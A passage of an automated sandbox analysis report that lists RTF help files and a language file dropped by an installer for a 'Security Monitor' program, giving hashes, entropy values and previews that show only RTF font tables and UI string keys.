00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\settings.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	61090
Entropy (8bit):	5.061944824308056
Encrypted:	false
SSDEEP:	768:s8/N3CelQcu09coHJreOBnAF3vlmgaJnAF3vlmgaiSN4UIRopZMggLBbWmb8Sw1w:s85g+X4zR
MD5:	F233DF0C1E13DC0EC1FBC3DFE59E36FA
SHA1:	A032C4D543AA03D01A28518894DD066D8682CE2C
SHA-256:	B465F564E4A3FC70B8D12141C5CD4E1EA9C620D4B2A7A5DC84F54D8C5701F590
SHA-512:	13CAF615E0EEEA67CD8037106E7714CACD72F4A74CB53561766D6D7546E97F62A390BB09FD5DFA3AAE56499E13CD699E13684181443E4361BECED33D8D6E26F9
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\siteblock.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	50648
Entropy (8bit):	5.076966621667136
Encrypted:	false
SSDEEP:	768:s8SW8t+CiBkyKWm+YqBjLW5qoqKZmbOTJbwQzgJetfBq4z+:s8f8Q4z+
MD5:	927893BFF8C06F090F00A06389C24A42
SHA1:	EADC77D6AAADC171CBF54B81A41930912803AAA0
SHA-256:	37E18C594AA49F95B3CB800A7425EB6AD57FF8BAA97A523F971F8B9F77FC5F70
SHA-512:	1DA7CA2795A54523DE39475A40832088924BFC49DD194A25E202C38D84F9A77389DEC2E612667C0D036ED911F3136D2D23D52AA43C6251D712E43C470E1031C7
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\snapshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	52487
Entropy (8bit):	5.092431049148049
Encrypted:	false
SSDEEP:	768:ss/LF89zHebIrUQBkyKWm+2Ck4O6CFURooIniy+JcOerjj1oMUliJ/KK0KhKuiFq:ssZmQUw4zQ
MD5:	CBF3434F05AFD39EAF4FF2766C533BCD
SHA1:	A339CCBDD47201D50598801A53E979B0C0A52607
SHA-256:	0F58E6C26916B5B1E7A9E1130C8EC22A08A2500972446EC232901013C7645A1B
SHA-512:	2EB64B6B8625BF64341EAD806EBE07E3BCD954DEC97D50BD68E6990062C1EBAA7553EA2834D04291B4E103F28296BB1F4F5CA6182E143F07752AD375DC8C80DF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f40\fbidi \fswiss\fcharset0\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\sound.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	51302
Entropy (8bit):	5.092103345877651
Encrypted:	false
SSDEEP:	768:ss/LF89zHebIrmQBkyKWm+eCk4O6Cg2NjrOX/zJ0PfOyGlgOYBJiDBNBiOl/Vq/M:ssZdBa4zS
MD5:	E5A9141385B035A9DA437DD1F1083F69
SHA1:	A6959E190DCDAD51B46960285E8EFBE532648E7A
SHA-256:	F5F01449E3735132C0A835E6F6A6E9810BF63592073AD66273F6DFEAE36EB41A
SHA-512:	A7B6E252D2B28977A1C1699582BC66B40D99D4B18F47CA78BAFF8D5D0EED592FF6FD9E98E3C10658823A586244CA08A8EDD8A8B1B9B391881C7794E1F0C5EED6
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f40\fbidi \fswiss\fcharset0\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\video.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	54763
Entropy (8bit):	5.086159865228289
Encrypted:	false
SSDEEP:	768:ss/LF89zHebIrIQBkyKWm+2Ck4O6CFURooIniyl+n6S8aG+8Iu/wj5XvSTp5kiWz:ssZVpy4zU
MD5:	FE0FD5197CD49B1818CD102069665E64
SHA1:	313F0DF1F4B687043DAED9B1BB783BA36F8F1BC4
SHA-256:	787E3B3DBC3E1DE91DD2C786085ED70616AF51B843C56B88541B40601390E055
SHA-512:	B24055EE351C5973DF4C42D678A59F84EE4F7447AEDA49581413E97CBA59C0DF1F2E5712BC31C2F94FA399214208BBB9F1C6AE3EA6BB439728D1C5C5D156F96F
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1033\deflangfe1033\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 00000000000000000000}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f40\fbidi \fswiss\fcharset0\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\arabic\websites.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	40943
Entropy (8bit):	5.062621250408577
Encrypted:	false
SSDEEP:	768:pqeS48Um0GhbtabQhOsWx/LCrLXI1n8T2njX8x3Ftt4MfRMIq818Z/6A9i:pqKH+qIA9i
MD5:	E2D6C3DBD79C905DABE49F310F9A134E
SHA1:	072CB75BBAD6904B39757E423EEDA0F3CA9FA8D7
SHA-256:	0A9C5D645D90A6D3CA88495DE5D0410CE8456C6AF5C0D56E4F225B81CECC0069
SHA-512:	EEC29BB5020AE654E7A0DB369722B1AD8286D97288C40E009B26AD20A2A9CD661B5AE9CCFFF7629B378EFC98AFA505F933F36C2AF0A49E7C7FD35D3925B0BF42
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff1\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	15013
Entropy (8bit):	6.013025249187838
Encrypted:	false
SSDEEP:	192:9DL/YIoCnMY+innEvlPTgFQXU516bXHsFAp/JfloqJPeNKi:9DL/YIoCnMMnEpEXyb3cAtJfav
MD5:	98FE3D6DA49E6A81B5C6A5D5ABF2E69A
SHA1:	A90458B40E3559466180B29822E0E83CC3000632
SHA-256:	FB966B8124C5CEDCEC536B5DFE54168F7AA07DC9717D4099EA67A8DF72342F50
SHA-512:	EA826D7205C882B74D20A4A0499A2966F47BD88CE01326D55B105BAA267606FE0F5C20F995762CC5E320F1273E4C06B0E6840815F2E2601A59CF7F3B12B25372
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### ....... "=".......! ############..###############################################################################..tbStart=".."..tbStartHint="...."..tbStop=".."..tbStopHint="...."..tbFind=".."..tbFindHint="......"..tbSetting=".."..tbSettingHint="...."..tbAbout=".."..tbAboutHint=".. / ...."..tbHomePage=".."..tbHomePageHint="......"..tbToday=".."..tbTodayHint="......"..tbHide=".."..tbHideHint="................"..tbMinimize="..."..tbMinimizeHint="......"..tbExit=".."..tbExitHint="......."..gbLog="...."..tCurrLogSize="....(Mb)"..tCurrScrSize="......(Mb)"..tCurrSnpSize=".........(Mb)"..tCurrSoundsSize="...... (Mb)"..tCurrVideosSize=".

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\SN.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	52052
Entropy (8bit):	5.0423517848490995
Encrypted:	false
SSDEEP:	768:2eFD747+kxKTllT2njX8x3xezX3MmwxXoC+zKjkMpEZI6xAzj54vWHmI9ikzmind:2ee2XMIA9o
MD5:	86DF8DBFBB9E6B68A8255BF9B36A9A79
SHA1:	49BBA097A2FA7B3AA66E58F2ECCB244444C96AD3
SHA-256:	232B3BC657DA966541951F2BCAD65B0394BA11608B61F60732E9049B70D8C46D
SHA-512:	BE429F10D254B65E0DEBA90598DEF9ABACD7C641FDF418B7FA272DED99ABA0A3C6E91CF002CEFDB43D95F54466CD0631326788D6E59628ED0A7922422E530F5A
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\activity.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44042
Entropy (8bit):	5.0382315831173985
Encrypted:	false
SSDEEP:	768:2QFDC47+EpRx1IKZR1yc+rROcPI0QhhiLVRtvYq14MfzCJrUwQpd8HZ/6A9u:2QDFUnUIA9u
MD5:	C87126C1EBFECCC1BE9D35D2C25360F3
SHA1:	9968DE7D3CAA691A6EB0E643E643C34B7B044F55
SHA-256:	0965D39B40A80B7EF5452ACEEEC9CE43CC5C8D6762617F8FF907444377844D14
SHA-512:	0AA0315529CA2C5D04F4A5BF4DE4991C2F8551AA38559D5C6AAD87F363B1D806457C3F33274873CFCF661646FBE2F730A4461D6ADE66C2DB36BD13AFAD5F1849
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\alarms.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	45546
Entropy (8bit):	5.037437776894658
Encrypted:	false
SSDEEP:	768:2QFDC47+HE1KEKT2njX8x3FPzX3Mmwx1DVw22vR4YaxZ8Y21kNFp6VpXGEy5Z/61:2QDnocIA9K
MD5:	04CD296601A182A19484D83613BC117B
SHA1:	3ACCD6A59B0E72F4FC2D6559D9C31A89C25383B9
SHA-256:	0ABEDA0EF9D4D06BC44EDFF51C9A289DBA0F58A672731F0F8A1B09AFCFD7C9B7
SHA-512:	12241D241CB7FE1A79009E1B4BEB7E9051A5523A3A4182BC19E52EAA3FED4D334822D4DD2E8F2DC3EA56AD32E121C7D69D0C7EB1D1495C5132DC460B5002D0E2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\clipboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	39768
Entropy (8bit):	5.028438731643848
Encrypted:	false
SSDEEP:	768:2zFUZ47+E29oy2lV9GEij/R0qrsT+118lsqZ/6A9B:2zdTIA9B
MD5:	A8C9AB020E61A95F3CBA163ABBF94E88
SHA1:	041D13002452D2AC0CBE8A2CC4D646B284F1B9C6
SHA-256:	2473E996CFF9D4ACA06608370BF1B5C0ACE937E4F8A1C699AAF2A5F87318D40F
SHA-512:	13FB3383203232496A3551F2D6A39F210432C5DAB33A4101564416A0069E72F86F85C000EB8ABA4C2D8E66FB7B6165A34CD60DA0A8DFA0A48165F358B2E01269
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \fnil\fcharset134\fprq2{\\panose 00000000000000000000}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\delivery.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	98587
Entropy (8bit):	4.9835874653673855
Encrypted:	false
SSDEEP:	768:2zFbmxZM+tWe275kQOSAGc1Q33Tn4eMJ/fOcPI0QhhiLVpLCrLXI1nuT2njX8x3E:2zyeUnNIwuF+bDIA9n
MD5:	B729EF1A2C1EDAB184EE72D97CCF04FA
SHA1:	0B1E8F6E750120989728E8787722DB1E6C8AECA4
SHA-256:	FF86B07534B3BA1FB795BB36C8A7E02DDCA3F591A3EB242AA9F35773BE52AA1B
SHA-512:	8F4819A8CACAE7A93CF4BA2F42EABD64A6409B42F7D41B2363A6454591B7BF6C181E8F45F4359BACE952915008CDAD0EC59E8725E784657F3DEE795A19658EA3
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-03BEV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	53408
Entropy (8bit):	5.027531716371282
Encrypted:	false
SSDEEP:	768:2QFDC47+EvnaBT2njX8x33HcSAzpdhN0XmQ6ZdgvSSIAPZIAP6IAe+XUNRXp76PC:2QDXJksIA9U
MD5:	3BA78ADB6E868B5B64CA3AFD406569D8
SHA1:	3E8031CC5453C731A67604B495AEC251CAA93843
SHA-256:	C4EAC5BC2B6C11C7ED8741FF1ACCCAB71230E01EDD80403655EE54254673DA83
SHA-512:	28F58E5595C7DA45F3361C18B12014831D49B84D0FB572D331F2CFA71B8B22B16502DCDDFF6486F7767976BA0B379CBB21F467F9843962E4EA8A1E5E889EE79C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-1K1NO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	46096
Entropy (8bit):	5.034181446312948
Encrypted:	false
SSDEEP:	768:2FFU347wx2Oa75aEZM/rvg20xQBcqtqYepjRBcnjX8x3b99QONKaQB2Ctj+Z/6AI:2Fp7FIA9u
MD5:	B8B7FAFEA8A56DF708E8CE7BB37516F2
SHA1:	FA15A15E9BD2B99CE60BDF170FBD668F89D87C7C
SHA-256:	E28805183757391F057ADA505CD5648E029FBB4D3DBCDDB9B19B8135A11EC113
SHA-512:	C8D9F66F94D32353F59FF2A28153647906B01ECE715A764BA33B907E81B27AE411FE951ECDD039A9BD596B7EEA1CD9CC802991EE74BB8FF71A1BE051B6CC32A3
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \fnil\fcharset134\fprq2{\\panose 